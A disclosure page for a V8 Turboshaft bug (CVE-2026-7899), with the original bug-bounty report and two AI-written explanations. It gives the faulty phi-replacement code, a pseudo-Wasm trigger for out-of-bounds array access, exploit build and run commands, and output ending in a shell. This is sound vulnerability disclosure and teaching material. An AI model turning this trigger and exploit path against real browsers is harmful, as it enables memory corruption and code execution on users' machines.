Skip to content
Memory corruption Advisory Advanced CVE-2026-7899

Out of bounds read and write in V8 (CVE-2026-7899)

A stale replacement in Turboshaft's load elimination for WebAssembly arrays causes array.len to return an incorrect length, leading to out-of-bounds read/write. An attacker could exploit this to corrupt memory and achieve code execution.

pjwhatforlunch Follow

Originally disclosed on Chrome VRP

Bounty$55,000 High View original
  • Fix shipped in 13 days

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

Turboshaft: stale PhiOp replacement for Wasm arrays causes array.len bounds bypass and out-of-bounds array read/write

src/compiler/turboshaft/wasm-load-elimination-reducer.h keeps a stale replacement for PhiOp across loop revisits:

C++
void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) {
  // ...
  if (inputs.size() > 0) {
    bool same_inputs = true;
    OpIndex first = memory_.ResolveBase(inputs.first());
    for (const OpIndex& input : inputs.SubVectorFrom(1)) {
      if (memory_.ResolveBase(input) != first) {
        same_inputs = false;
        break;
      }
    }
    if (same_inputs) {
      replacements_[op_idx] = first;
    }
  }
}

When all phi inputs currently resolve to the same base, ProcessPhi records replacements_[op_idx] = first. The bug is that it never clears replacements_[op_idx] when a later loop revisit makes same_inputs false. Other handlers in the same reducer do clear stale replacement state on the non-eliminated path. For example, both WasmLoadEliminationAnalyzer::ProcessStructGet and WasmLoadEliminationAnalyzer::ProcessArrayLength write:

C++
replacements_[op_idx] = OpIndex::Invalid();

That asymmetry makes phi replacements sticky even after the merged loop state has changed.

We will explain the exploitability in details in next section.

VERSION

V8 Version: 3d73043a08a4fc2234c973646656c9e35245b87f (Wed Apr 22 12:22:48 2026 +0800)

Exploit

We can craft:

  1. A large array big and a small array small.
  2. A mutable struct field initially containing big.
  3. A loop containing an if whose merge result is either big or struct.get holder.field0.
  4. A later struct.set holder.field0 = small on the loop backedge.
  5. An array.len or array.get / array.set on the merged array value in the next iteration.

In pseudo-Wasm:

WAT
(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))

(func (param $n i32) (result i32)
  (local $h (ref $holder))
  (local $big (ref $arr))
  (local $small (ref $arr))
  (local $i i32)
  (local $sum i32)

  i32.const 8
  array.new_default $arr
  local.set $big

  i32.const 1
  array.new_default $arr
  local.set $small

  local.get $big
  struct.new $holder
  local.set $h

  local.get $n
  local.set $i

  loop
    local.get $i
    local.get $n
    i32.eq
    if (result (ref $arr))
      local.get $big
    else
      local.get $h
      struct.get $holder 0
    end
    array.len
    local.get $sum
    i32.add
    local.set $sum

    local.get $h
    local.get $small
    struct.set $holder 0

    local.get $i
    i32.const 1
    i32.sub
    local.tee $i
    br_if 0
  end

  local.get $sum)

WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray seeds the load elimination table with the allocated array's length, and WasmLoadEliminationAnalyzer::ProcessArrayLength later reuses that entry through ResolveBase(length.array()) and memory_.FindLoadLike(...)

  1. Before the loop, holder.field0 is known to be big, so the first-pass StructGet(holder, 0) is eliminated to big.
  2. The if merge phi therefore has inputs (big, big) on the first pass, and ProcessPhi records replacements_[phi] = big.
  3. The backedge StructSet(holder, 0, small) changes the tracked field from big to small, so the loop is revisited.
  4. On the revisit, StructGet(holder, 0) is no longer eliminated from the merged snapshot and ProcessStructGet clears its own replacement.
  5. The phi is now merging (big, StructGet(holder, 0)), so it is no longer equal-input. ProcessPhi leaves the old replacements_[phi] = big intact.
  6. ProcessArrayLength still resolves the phi to big, so array.len keeps returning 8 even on iterations where the runtime array is small and its true length is 1.

With that we can have the initial out-of-bounds access primitive, then we can corrupt the length of an array or simply write to another field to bootstrap fakeobj primitive.

getshell.js is attached.

Note that we inlined the wasm builder for easy reproduction with clusterfuzz

Please scroll down to check the real exploit part

Compile with args.gn:

dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false

Please run with:

./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js

expected output:

./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
[*] EOF wasm builder
[*] Exploit by Project WhatForLunch
[+] victim.length corruption primed;victim[0]=0x12345678
[+] cage base: 0x00002c1300000000
[+] partition alloc: 0x00000ebc00000000
[+] code ptr table: 0x00007f75ce904000
[+] dispatch handle: 0x000000000013da00, table offset: 0x0000000000013da0
[+] rwx addr: 0x0000561be0013700
[+] 🥺 get shell
sh-5.3# echo pwned
pwned
sh-5.3# 

Please include a demonstration of the security bug, such as an attached HTML or binary file that reproduces the bug when loaded in Chrome. PLEASE make the file as small as possible and remove any content not required to demonstrate the bug, or any personal or confidential information.

Please attach files directly, not in zip or other archive formats, and if you've created a demonstration site please also attach the files needed to reproduce the demonstration locally.

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: Arbitrary memory access

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?

Reporter credit: Project WhatForLunch (@pjwhatforlunch)

The original report as published on the Chromium issue tracker, by Project WhatForLunch (@pjwhatforlunch). Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

This is a Chrome VRP report against V8, specifically the Turboshaft compiler's WebAssembly load elimination pass. The component is src/compiler/turboshaft/wasm-load-elimination-reducer.h, which performs redundant-load elimination over Wasm operations. One of the things that pass does is track, for a PhiOp (the merge point of values coming out of an if inside a loop), whether all of the phi's inputs currently resolve to the same base value. If they do, the phi can be replaced by that base, and later loads through the phi can be answered from the elimination table instead of being re-emitted.

The report was filed by Project WhatForLunch (@pjwhatforlunch) and rated high severity, with a bounty of 55,000 USD. The weakness class is out-of-bounds read and write.

Setup

The V8 revision used is:

Text
[redacted] (Wed Apr 22 12:22:48 2026 +0800)

The proof of concept is a d8 script, getshell.js, built with this args.gn:

Text
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false

and run with:

Bash
./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js

Liftoff is disabled so the Wasm goes through Turboshaft, and loop unrolling and loop peeling are disabled. The Wasm builder is inlined in the script so the reproduction works under ClusterFuzz.

Finding it

The reducer keeps a map of replacements, replacements_, keyed by operation index. ProcessPhi populates it when every input of the phi resolves to the same base:

C++
void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) {
  // ...
  if (inputs.size() > 0) {
    bool same_inputs = true;
    OpIndex first = memory_.ResolveBase(inputs.first());
    for (const OpIndex& input : inputs.SubVectorFrom(1)) {
      if (memory_.ResolveBase(input) != first) {
        same_inputs = false;
        break;
      }
    }
    if (same_inputs) {
      replacements_[op_idx] = first;
    }
  }
}

When all inputs resolve to the same base, ProcessPhi records replacements_[op_idx] = first. The problem is the missing else branch: when a later loop revisit makes same_inputs false, the old entry is never cleared. Other handlers in the same reducer do clear stale replacement state on the non-eliminated path. Both WasmLoadEliminationAnalyzer::ProcessStructGet and WasmLoadEliminationAnalyzer::ProcessArrayLength write:

C++
replacements_[op_idx] = OpIndex::Invalid();

That asymmetry makes phi replacements sticky even after the merged loop state has changed.

Exploitation

The exploit needs five ingredients:

  1. A large array big and a small array small.
  2. A mutable struct field initially containing big.
  3. A loop containing an if whose merge result is either big or struct.get holder.field0.
  4. A later struct.set holder.field0 = small on the loop backedge.
  5. An array.len or array.get / array.set on the merged array value in the next iteration.

In pseudo-Wasm:

WAT
(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))

(func (param $n i32) (result i32)
  (local $h (ref $holder))
  (local $big (ref $arr))
  (local $small (ref $arr))
  (local $i i32)
  (local $sum i32)

  i32.const 8
  array.new_default $arr
  local.set $big

  i32.const 1
  array.new_default $arr
  local.set $small

  local.get $big
  struct.new $holder
  local.set $h

  local.get $n
  local.set $i

  loop
    local.get $i
    local.get $n
    i32.eq
    if (result (ref $arr))
      local.get $big
    else
      local.get $h
      struct.get $holder 0
    end
    array.len
    local.get $sum
    i32.add
    local.set $sum

    local.get $h
    local.get $small
    struct.set $holder 0

    local.get $i
    i32.const 1
    i32.sub
    local.tee $i
    br_if 0
  end

  local.get $sum)

WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray seeds the load elimination table with the allocated array's length, and WasmLoadEliminationAnalyzer::ProcessArrayLength later reuses that entry through ResolveBase(length.array()) and memory_.FindLoadLike(...).

Step 1: first pass eliminates the struct get

Before the loop, holder.field0 is known to be big, so the first-pass StructGet(holder, 0) is eliminated to big.

Step 2: the phi looks constant

The if merge phi therefore has inputs (big, big) on the first pass, and ProcessPhi records replacements_[phi] = big.

Step 3: the backedge changes the tracked field

The backedge StructSet(holder, 0, small) changes the tracked field from big to small, so the loop is revisited.

Step 4: the struct get is no longer eliminated

On the revisit, StructGet(holder, 0) is no longer eliminated from the merged snapshot and ProcessStructGet clears its own replacement.

Step 5: the phi is no longer equal-input, but the stale entry survives

The phi is now merging (big, StructGet(holder, 0)), so it is no longer equal-input. ProcessPhi leaves the old replacements_[phi] = big intact.

Step 6: array.len returns the wrong length

ProcessArrayLength still resolves the phi to big, so array.len keeps returning 8 even on iterations where the runtime array is small and its true length is 1.

With that we have the initial out-of-bounds access primitive. From there the report says the attacker can corrupt the length of an array or simply write to another field to bootstrap a fakeobj primitive.

Running the script produces:

Text
./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
[*] EOF wasm builder
[*] Exploit by Project WhatForLunch
[+] victim.length corruption primed;victim[0]=0x12345678
[+] cage base: 0x00002c1300000000
[+] partition alloc: 0x00000ebc00000000
[+] code ptr table: 0x00007f75ce904000
[+] dispatch handle: 0x000000000013da00, table offset: 0x0000000000013da0
[+] rwx addr: 0x0000561be0013700
[+] 🥺 get shell
sh-5.3# echo pwned
pwned
sh-5.3#

The output shows lines about a victim array, several leaked addresses, a dispatch handle and its table offset, and an RWX address, followed by a shell. The crash type recorded for the report is arbitrary memory access.

Root cause

The reducer treats the phi replacement as monotonic: once a phi has been proven to have equal inputs, the entry is written and never invalidated. Loop analysis is not monotonic, because the merged state on a revisit can differ from the first pass. ProcessStructGet and ProcessArrayLength handle this by writing OpIndex::Invalid() when they cannot eliminate, but ProcessPhi has no such path, so a phi that was equal-input on the first pass and unequal on a later pass keeps resolving to the first input. The load elimination table then answers array.len from the length recorded for big even though the runtime value is small.

Impact

The crafted module, compiled through Turboshaft with the loop shape above, yields an out-of-bounds read and write on Wasm arrays. The report describes using it to corrupt an array length or another field to bootstrap a fakeobj primitive, and the demonstration script goes from that primitive to a shell. The conditions are the compiler path (Turboshaft, not Liftoff) and the loop structure described; the report does not discuss which Chrome configurations or mitigations would prevent the later stages.

Fix

The report does not describe the fix that was applied. Based on the analysis, the change needed is for ProcessPhi to clear replacements_[op_idx] when same_inputs is false, matching the OpIndex::Invalid() behaviour already present in ProcessStructGet and ProcessArrayLength.

Variants to test

  1. Other reducers with a replacements_ map: look for handlers that write a replacement on the eliminated path but have no invalidation on the non-eliminated path, especially for operations whose inputs are merged at loop headers. A positive result is a value that keeps resolving to a stale base after a loop revisit.
  2. Other phi-shaped merges: replace the struct.get in the if with a different load-like operation (for example another array or field read) and check whether array.len, array.get or array.set still uses the first-pass length.
  3. Different loop shapes: nested loops, multiple backedges, or a struct.set that changes the field to a value of a different type. A positive result is a length or bounds check that disagrees with the runtime object.
  4. Compiler flag combinations: run with and without --no-wasm-loop-unrolling and --no-wasm-loop-peeling to see whether the stale entry survives other loop transformations, which would widen the set of reachable configurations.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

A security researcher found a mistake in one of the programs that turns WebAssembly code into machine code inside Google Chrome. The mistake makes Chrome believe an array is bigger than it really is. Because of that, code running in the engine can read and write memory outside the array, and the demonstration script goes from there to a shell.

The researcher reported it through Chrome's bug bounty programme, which pays people for finding security problems. The report was rated high severity and paid 55,000 USD. The weakness class is "out of bounds read and write".

Below I walk through the report step by step, explaining every term as it comes up.

Some background you need first

Before the details make sense, here are the pieces involved.

  • Chrome is the web browser. It runs web pages, which are programs written in HTML, CSS and JavaScript.
  • V8 is the part of Chrome that runs JavaScript. It is also the part that runs WebAssembly.
  • WebAssembly (often shortened to Wasm) is a second language that browsers can run. It is lower level than JavaScript, closer to what the processor understands, and it is used for things like games, video editors and other heavy programs in the browser. A web page can ship a Wasm program and the browser will run it.
  • A compiler is a program that translates code from one language into another. Chrome does not run Wasm directly; it translates it into machine instructions first.
  • Turboshaft is the name of one of V8's compilers. It is the optimising compiler: it tries to make the translated code faster.
  • Liftoff is V8's other Wasm compiler. It is the fast, simple one that produces code quickly without much optimisation. Chrome normally uses Liftoff first and Turboshaft later for hot code. The bug lives in Turboshaft, so the proof of concept forces the code through Turboshaft by disabling Liftoff.
  • An optimising pass is one step inside a compiler that looks at the program and rewrites it to be faster, without changing what it does. The pass involved here is called load elimination: if the program reads the same value twice and nothing could have changed it in between, the compiler can reuse the first read instead of doing the second one. That saves work.
  • An array is an ordered list of values stored one after another in memory. Each array has a length: how many items it holds. Reading or writing an item at a position is called an index access. If the index is smaller than the length, the access is inside the array. If it is not, the access is out of bounds, and that is a security problem because the memory just past the array may belong to something else.
  • A struct is a bundle of named fields, each holding a value. In Wasm, a struct can have fields that can be changed after creation (mutable fields).
  • A loop is code that repeats. Each repetition is called an iteration. The point where one iteration ends and the next begins is called the backedge.
  • A phi (short for the Greek letter, and short for "merge point") is a compiler concept. When an if produces a value and the two branches produce different values, the compiler needs one place to represent "the value that came out of the if, whichever branch ran". That place is the phi. Inside a loop, the phi at the top of the loop merges the value from before the loop with the value from the backedge.
  • A reducer is a component inside the optimising compiler that walks over the program and applies one specific optimisation. The file involved is src/compiler/turboshaft/wasm-load-elimination-reducer.h, which is the reducer for load elimination over Wasm operations.
  • A bug bounty is a programme where a company pays researchers for reporting security problems privately, so they can be fixed before attackers use them.
  • CVE stands for Common Vulnerabilities and Exposures. It is a public identifier given to a security flaw so people can refer to it unambiguously. This one is CVE-2026-7899.

The report itself

The report was filed by a researcher credited as Project WhatForLunch (@pjwhatforlunch). It was rated high severity, with a bounty of 55,000 USD, and the weakness class is out-of-bounds read and write. The affected component is V8.

The setup

The researcher tested against a specific version of V8, identified by a long hexadecimal string called a commit hash. A commit hash names one exact snapshot of the source code, so anyone can check out the same code and reproduce the result.

Text
[redacted] (Wed Apr 22 12:22:48 2026 +0800)

That line is the commit hash followed by the date and time the commit was made. Nothing else.

The proof of concept is a script called getshell.js, which is run by d8. d8 is V8's own command line shell: a small program that runs JavaScript (and Wasm) without a browser around it. Security researchers use it because it is much easier to debug than Chrome itself.

The script was built with a configuration file called args.gn. GN is the build system V8 uses; args.gn is the file where you set build options.

Text
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false

Line by line:

  1. dcheck_always_on = false turns off debug assertions, which are extra checks that slow the build down. They are off so the build behaves like a release build.
  2. is_debug = false builds in release mode, again matching what real users run.
  3. target_cpu = "x64" builds for 64-bit Intel/AMD processors.
  4. is_component_build = false produces one self-contained binary instead of many shared libraries.
  5. v8_enable_backtrace = true keeps the ability to print a call stack when something goes wrong, which helps debugging.
  6. v8_enable_disassembler = true includes a tool that can show the generated machine instructions.
  7. v8_enable_object_print = true includes a tool that can print the internal layout of JavaScript objects.
  8. v8_enable_sandbox = false turns off the V8 sandbox, an extra layer of isolation. It is off in this build; the report does not discuss what would happen with it on.

The script is then run like this:

Bash
./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js

Line by line:

  1. ./out.gn/x64.release/d8 is the path to the d8 binary that was just built.
  2. --allow-natives-syntax lets the script use special V8-internal functions that normal web pages cannot call.
  3. --no-liftoff disables Liftoff, so the Wasm goes through Turboshaft.
  4. --no-wasm-loop-unrolling disables loop unrolling, an optimisation that copies the body of a loop several times to reduce overhead.
  5. --no-wasm-loop-peeling disables loop peeling, which pulls the first iteration out of the loop.
  6. getshell.js is the script to run.

The report notes that the Wasm builder is inlined in the script so the reproduction works under ClusterFuzz. ClusterFuzz is Google's automated system for running fuzzers (programs that generate random inputs to find crashes) and for reproducing reported crashes. Inlining means putting the code that builds the Wasm module directly in the script rather than loading it from a separate file, so the whole thing is one file that ClusterFuzz can run.

Finding the bug

The reducer keeps a map called replacements_. A map here means a lookup table: for each operation in the program, identified by an index (op_idx), it stores a replacement value if the reducer has proven that the operation can be replaced by something simpler.

The function ProcessPhi fills in that map when every input of a phi resolves to the same base value. Here is the code from the report:

C++
void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) {
  // ...
  if (inputs.size() > 0) {
    bool same_inputs = true;
    OpIndex first = memory_.ResolveBase(inputs.first());
    for (const OpIndex& input : inputs.SubVectorFrom(1)) {
      if (memory_.ResolveBase(input) != first) {
        same_inputs = false;
        break;
      }
    }
    if (same_inputs) {
      replacements_[op_idx] = first;
    }
  }
}

Line by line:

  1. void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) declares the function. It takes the index of the phi operation and the phi itself.
  2. if (inputs.size() > 0) checks that the phi actually has inputs. A phi with no inputs is not interesting.
  3. bool same_inputs = true; starts by assuming all inputs are the same.
  4. OpIndex first = memory_.ResolveBase(inputs.first()); takes the first input and asks the memory model to resolve it to its base value. Resolving to a base means following any earlier replacements until you reach the original value. If the first input was itself replaced by something, ResolveBase gives you that something.
  5. for (const OpIndex& input : inputs.SubVectorFrom(1)) loops over all the other inputs, skipping the first.
  6. if (memory_.ResolveBase(input) != first) checks whether this input resolves to something different from the first.
  7. same_inputs = false; break; if so, records that they are not all the same and stops checking.
  8. if (same_inputs) { replacements_[op_idx] = first; } if all inputs resolved to the same base, records that this phi can be replaced by that base.

The problem is what happens when same_inputs is false. There is no else branch. The old entry in replacements_ is left in place. If the phi was previously recorded as replaceable and a later pass over the loop makes it not replaceable, the stale entry survives.

Other handlers in the same reducer do clear their entry when they cannot eliminate. Both WasmLoadEliminationAnalyzer::ProcessStructGet and WasmLoadEliminationAnalyzer::ProcessArrayLength write:

C++
replacements_[op_idx] = OpIndex::Invalid();

Line by line:

  1. replacements_[op_idx] is the entry for this operation in the map.
  2. OpIndex::Invalid() is a special marker meaning "no replacement". Writing it clears any previous replacement.

So those two handlers correctly forget their old replacement when they cannot eliminate. ProcessPhi does not. That asymmetry is the bug: phi replacements are sticky even after the merged loop state has changed.

Exploitation

The exploit needs five ingredients:

  1. A large array big and a small array small.
  2. A mutable struct field initially containing big.
  3. A loop containing an if whose merge result is either big or struct.get holder.field0.
  4. A later struct.set holder.field0 = small on the loop backedge.
  5. An array.len or array.get / array.set on the merged array value in the next iteration.

In pseudo-Wasm, the code looks like this. Pseudo-Wasm is the report's label for the illustrative snippet.

WAT
(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))

(func (param $n i32) (result i32)
  (local $h (ref $holder))
  (local $big (ref $arr))
  (local $small (ref $arr))
  (local $i i32)
  (local $sum i32)

  i32.const 8
  array.new_default $arr
  local.set $big

  i32.const 1
  array.new_default $arr
  local.set $small

  local.get $big
  struct.new $holder
  local.set $h

  local.get $n
  local.set $i

  loop
    local.get $i
    local.get $n
    i32.eq
    if (result (ref $arr))
      local.get $big
    else
      local.get $h
      struct.get $holder 0
    end
    array.len
    local.get $sum
    i32.add
    local.set $sum

    local.get $h
    local.get $small
    struct.set $holder 0

    local.get $i
    i32.const 1
    i32.sub
    local.tee $i
    br_if 0
  end

  local.get $sum)

Line by line:

  1. (type $arr (array (mut i32))) declares a type called $arr: an array of 32-bit integers whose items can be changed (mut).
  2. (type $holder (struct (field (mut (ref $arr))))) declares a type called $holder: a struct with one field, which can be changed, and which holds a reference to an $arr.
  3. (func (param $n i32) (result i32) starts a function that takes one 32-bit integer $n and returns a 32-bit integer.
  4. (local $h (ref $holder)) declares a local variable $h of type $holder.
  5. (local $big (ref $arr)) declares a local variable $big of type $arr.
  6. (local $small (ref $arr)) declares a local variable $small of type $arr.
  7. (local $i i32) declares a 32-bit integer $i, used as the loop counter.
  8. (local $sum i32) declares a 32-bit integer $sum, used to accumulate results.
  9. i32.const 8 pushes the number 8 onto the stack.
  10. array.new_default $arr creates a new array of type $arr with that many items, all set to the default value (zero).
  11. local.set $big stores the new array in $big. So $big is an array of length 8.
  12. i32.const 1 pushes 1.
  13. array.new_default $arr creates a new array of length 1.
  14. local.set $small stores it in $small.
  15. local.get $big pushes $big.
  16. struct.new $holder creates a new $holder whose field holds $big.
  17. local.set $h stores it in $h.
  18. local.get $n pushes the parameter $n.
  19. local.set $i stores it in $i, so the loop counter starts at $n.
  20. loop starts the loop.
  21. local.get $i pushes the counter.
  22. local.get $n pushes the parameter.
  23. i32.eq compares them, producing 1 if equal and 0 otherwise.
  24. if (result (ref $arr)) starts an if that produces a reference to an $arr.
  25. local.get $big in the true branch, pushes $big.
  26. else starts the false branch.
  27. local.get $h pushes the holder.
  28. struct.get $holder 0 reads field 0 of the holder, which is the array reference.
  29. end closes the if. The result is the phi: either $big or whatever is in the holder's field.
  30. array.len reads the length of that array.
  31. local.get $sum pushes the running sum.
  32. i32.add adds the length to the sum.
  33. local.set $sum stores the result back in $sum.
  34. local.get $h pushes the holder.
  35. local.get $small pushes $small.
  36. struct.set $holder 0 writes $small into field 0 of the holder. This is the backedge change.
  37. local.get $i pushes the counter.
  38. i32.const 1 pushes 1.
  39. i32.sub subtracts 1 from the counter.
  40. local.tee $i stores the result in $i and leaves it on the stack.
  41. br_if 0 branches back to the start of the loop if the value is non-zero.
  42. end closes the loop.
  43. local.get $sum) pushes the sum as the return value.

Now the report explains how the reducer misbehaves on this code. WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray seeds the load elimination table with the allocated array's length. In other words, when the compiler sees array.new_default create an array of length 8, it records "this array has length 8" in the table. Later, WasmLoadEliminationAnalyzer::ProcessArrayLength reuses that entry through ResolveBase(length.array()) and memory_.FindLoadLike(...). In plain words: when the compiler sees array.len on some array, it resolves the array to its base and looks up the recorded length, instead of emitting a real length read.

Step 1: first pass eliminates the struct get

Before the loop, holder.field0 is known to be big, so the first-pass StructGet(holder, 0) is eliminated to big. The compiler knows the field was just set to $big and nothing has changed it yet, so reading it is the same as using $big directly.

Step 2: the phi looks constant

The if merge phi therefore has inputs (big, big) on the first pass, and ProcessPhi records replacements_[phi] = big. Both branches produce the same value, so the phi is replaced by big.

Step 3: the backedge changes the tracked field

The backedge StructSet(holder, 0, small) changes the tracked field from big to small, so the loop is revisited. The compiler analyses the loop more than once, and on the second pass the state at the top of the loop is different.

Step 4: the struct get is no longer eliminated

On the revisit, StructGet(holder, 0) is no longer eliminated from the merged snapshot and ProcessStructGet clears its own replacement. The merged snapshot is the state the compiler has built up by combining what it knows from before the loop and from the backedge. Since the field could now be small, the read cannot be replaced by a constant, so the handler writes OpIndex::Invalid() for its own entry.

Step 5: the phi is no longer equal-input, but the stale entry survives

The phi is now merging (big, StructGet(holder, 0)), so it is no longer equal-input. ProcessPhi leaves the old replacements_[phi] = big intact. This is the bug in action: the phi is no longer provably big, but the map still says it is.

Step 6: array.len returns the wrong length

ProcessArrayLength still resolves the phi to big, so array.len keeps returning 8 even on iterations where the runtime array is small and its true length is 1. At runtime the array is small, whose true length is 1, but array.len keeps returning 8.

With that we have the initial out-of-bounds access primitive. A primitive in exploit writing means a small, reliable capability that can be built on. Here it is the ability to read and write past the end of an array. From there the report says the attacker can corrupt the length of an array or simply write to another field to bootstrap a fakeobj primitive. fakeobj is an exploit primitive the report says can be bootstrapped from the out-of-bounds access.

Running the script produces this output:

Text
./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
[*] EOF wasm builder
[*] Exploit by Project WhatForLunch
[+] victim.length corruption primed;victim[0]=0x12345678
[+] cage base: 0x00002c1300000000
[+] partition alloc: 0x00000ebc00000000
[+] code ptr table: 0x00007f75ce904000
[+] dispatch handle: 0x000000000013da00, table offset: 0x0000000000013da0
[+] rwx addr: 0x0000561be0013700
[+] 🥺 get shell
sh-5.3# echo pwned
pwned
sh-5.3#

Line by line:

  1. The first line is the command that was run, repeated for clarity.
  2. [*] EOF wasm builder is a status line printed by the script.
  3. [*] Exploit by Project WhatForLunch is a banner printed by the script.
  4. [+] victim.length corruption primed;victim[0]=0x12345678 is the first line of exploit output.
  5. [+] cage base: 0x00002c1300000000 is a leaked address printed by the exploit.
  6. [+] partition alloc: 0x00000ebc00000000 is a leaked address printed by the exploit.
  7. [+] code ptr table: 0x00007f75ce904000 is a leaked address printed by the exploit.
  8. [+] dispatch handle: 0x000000000013da00, table offset: 0x0000000000013da0 is a leaked handle and offset printed by the exploit.
  9. [+] rwx addr: 0x0000561be0013700 is an address printed by the exploit.
  10. [+] 🥺 get shell is printed before the shell prompt appears.
  11. sh-5.3# echo pwned is a command run in the shell.
  12. pwned is the shell's output.
  13. sh-5.3# is the shell prompt.

The crash type recorded for the report is arbitrary memory access.

Root cause

The reducer treats the phi replacement as monotonic: once a phi has been proven to have equal inputs, the entry is written and never invalidated. Monotonic here means "only ever moves in one direction": the reducer assumes that once something is true, it stays true. Loop analysis is not monotonic, because the merged state on a revisit can differ from the first pass. ProcessStructGet and ProcessArrayLength handle this by writing OpIndex::Invalid() when they cannot eliminate, but ProcessPhi has no such path, so a phi that was equal-input on the first pass and unequal on a later pass keeps resolving to the first input. The load elimination table then answers array.len from the length recorded for big even though the runtime value is small.

Impact

An attacker who can get Wasm compiled through Turboshaft with the loop shape above obtains an out-of-bounds read and write on Wasm arrays. The report describes using it to corrupt an array length or another field to bootstrap a fakeobj primitive, and the demonstration script goes from that primitive to a shell. The conditions are the compiler path (Turboshaft, not Liftoff) and the loop structure described; the report does not discuss which Chrome configurations or mitigations would prevent the later stages.

Fix

The report does not describe the fix that was applied. Based on the analysis, the change needed is for ProcessPhi to clear replacements_[op_idx] when same_inputs is false, matching the OpIndex::Invalid() behaviour already present in ProcessStructGet and ProcessArrayLength.

Variants to test

  1. Other reducers with a replacements_ map: look for handlers that write a replacement on the eliminated path but have no invalidation on the non-eliminated path, especially for operations whose inputs are merged at loop headers. A positive result is a value that keeps resolving to a stale base after a loop revisit.
  2. Other phi-shaped merges: replace the struct.get in the if with a different load-like operation (for example another array or field read) and check whether array.len, array.get or array.set still uses the first-pass length.
  3. Different loop shapes: nested loops, multiple backedges, or a struct.set that changes the field to a value of a different type. A positive result is a length or bounds check that disagrees with the runtime object.
  4. Compiler flag combinations: run with and without --no-wasm-loop-unrolling and --no-wasm-loop-peeling to see whether the stale entry survives other loop transformations, which would widen the set of reachable configurations.

Glossary

  • API: Application Programming Interface, a defined set of functions one program offers to another.
  • Array: an ordered list of values stored one after another in memory, with a length.
  • Backedge: the point in a loop where one iteration ends and the next begins.
  • Bug bounty: a programme that pays researchers for reporting security problems privately.
  • Chrome: Google's web browser.
  • ClusterFuzz: Google's automated system for running fuzzers and reproducing reported crashes.
  • Code pointer table: a table holding pointers to executable code, used to make it harder to redirect execution.
  • Commit hash: a long hexadecimal string that names one exact snapshot of source code.
  • Compiler: a program that translates code from one language into another.
  • CVE: Common Vulnerabilities and Exposures, a public identifier for a security flaw.
  • d8: V8's command line shell for running JavaScript and Wasm without a browser.
  • fakeobj: an exploit primitive that makes the engine treat an arbitrary value as a JavaScript object reference.
  • GN: the build system V8 uses; args.gn is where build options are set.
  • Handle: an indirect reference, an index that the engine looks up, instead of a raw pointer.
  • Index: a position in an array. An access at an index smaller than the length is inside the array; otherwise it is out of bounds.
  • Iteration: one repetition of a loop.
  • Length: how many items an array holds.
  • Liftoff: V8's fast, simple Wasm compiler.
  • Load elimination: a compiler optimisation that reuses an earlier read instead of repeating it.
  • Loop: code that repeats.
  • Map: a lookup table, here mapping operation indices to replacement values.
  • Monotonic: only ever moving in one direction; here, assuming that once something is true it stays true.
  • Out of bounds: an access outside the valid range of an array or buffer.
  • Partition allocator: the memory allocator V8 uses for some internal structures.
  • Phi: a compiler concept representing the value that comes out of an if, whichever branch ran.
  • Primitive: a small, reliable capability in exploit writing that can be built on.
  • Pseudo-Wasm: Wasm text written for reading, not necessarily for running as-is.
  • Reducer: a component inside the optimising compiler that applies one specific optimisation.
  • Resolve to a base: follow earlier replacements until reaching the original value.
  • RWX: memory that is readable, writable and executable.
  • Sandbox cage: a large reserved region of memory inside which V8 keeps its objects.
  • Struct: a bundle of named fields, each holding a value.
  • Turboshaft: V8's optimising compiler.
  • V8: the part of Chrome that runs JavaScript and WebAssembly.
  • Wasm: WebAssembly, a low-level language browsers can run.
  • WAT: WebAssembly text format.
  • WebAssembly: see Wasm.

More by pjwhatforlunch

View all

2 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption
